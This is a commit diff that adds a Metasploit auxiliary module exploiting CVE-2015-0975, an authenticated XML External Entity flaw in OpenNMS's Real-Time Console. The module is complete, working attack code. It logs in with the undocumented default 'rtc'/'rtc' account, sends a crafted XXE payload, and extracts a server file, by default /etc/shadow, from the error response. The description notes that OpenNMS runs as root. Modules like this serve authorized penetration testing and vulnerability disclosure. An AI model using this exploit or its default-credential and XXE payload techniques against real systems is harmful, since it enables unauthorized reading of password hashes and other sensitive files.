Land rapid7#4585 : CVE-2015-0975 XXE in OpenNMS

Author: OJ

modules/auxiliary/gather/opennms_xxe.rb

@@ -0,0 +1,104 @@
+require 'msf/core'
+require 'openssl'
+
+class Metasploit4 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'OpenNMS Authenticated XXE',
+      'Description'    => %q{
+      OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface.
+      Although this attack requires authentication, there are several factors that increase the
+      severity of this vulnerability.
+
+      1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the
+      core of OpenNMS is that these components need to run as root to be able to bind to low-numbered
+      ports or generate network traffic that requires root"
+
+      2. The user that you must authenticate as is the "rtc" user which has the default password of
+      "rtc". There is no mention of this user in the installation guides found here:
+      http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default
+      admin password of "admin" for security purposes.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         => [
+          'Stephen Breen <breenmachine[at]gmail.com>', # discovery
+          'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module
+        ],
+      'References'     => [
+          ['CVE', '2015-0975']
+        ],
+      'DisclosureDate' => 'Jan 08 2015'
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(8980),
+        OptBool.new('SSL', [false, 'Use SSL', false]),
+        OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']),
+        OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]),
+        OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]),
+        OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"])
+      ], self.class)
+
+  end
+
+  def run
+
+    print_status("Logging in to grab a valid session cookie")
+
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
+      'vars_post' => {
+        'j_username' => datastore['USERNAME'],
+        'j_password' => datastore['PASSWORD'],
+        'Login'=> 'Login'
+      },
+    })
+
+    if res.nil?
+      fail_with(Failure::Unreachable, "No response from POST request")
+    elsif res.code != 302
+      fail_with(Failure::UnexpectedReply, "Non-302 response from POST request")
+    end
+
+    unless res.headers["Location"].include? "index.jsp"
+      fail_with(Failure::NoAccess, 'Authentication failed')
+    end
+
+    cookie = res.get_cookies
+
+    print_status("Got cookie, going for the goods")
+
+    rand_doctype = Rex::Text.rand_text_alpha(rand(1..10))
+    rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10))
+    rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10))
+    delimiter = SecureRandom.uuid
+
+    xxe = %Q^<?xml version="1.0" encoding="ISO-8859-1"?>
+    <!DOCTYPE #{rand_doctype} [
+    <!ELEMENT #{rand_entity1} ANY >
+    <!ENTITY #{rand_entity2} SYSTEM "file://#{datastore["FILEPATH"]}" >
+    ]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}</#{rand_entity1}>^
+
+    res = send_request_raw({
+      'method' => 'POST',
+      'uri'    => normalize_uri(target_uri.path, 'rtc', 'post/'),
+      'data'   => xxe,
+      'cookie' => cookie
+    })
+
+    # extract filepath data from response
+    if res && res.code == 400 && res.body =~ /title.+#{delimiter}(.+)#{delimiter}.+title/m
+      result = $1
+      print_good("#{result}")
+    else
+      fail_with(Failure::Unknown, 'Error fetching file, try another')
+    end
+
+  end
+end
+